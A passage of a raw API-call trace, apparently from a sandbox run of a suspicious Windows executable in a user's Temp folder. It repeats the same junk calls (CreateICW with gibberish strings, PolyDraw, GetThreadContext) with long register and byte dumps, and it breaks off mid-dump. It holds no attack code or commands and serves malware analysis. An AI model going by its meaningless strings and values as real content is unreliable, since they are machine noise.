[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.228] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.229] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.229] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.229] GetConsoleCP () returned 0x0
	[0066.229] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.229] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.230] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.230] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.230] GetConsoleCP () returned 0x0
	[0066.230] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.230] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.231] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.231] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.231] GetConsoleCP () returned 0x0
	[0066.231] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 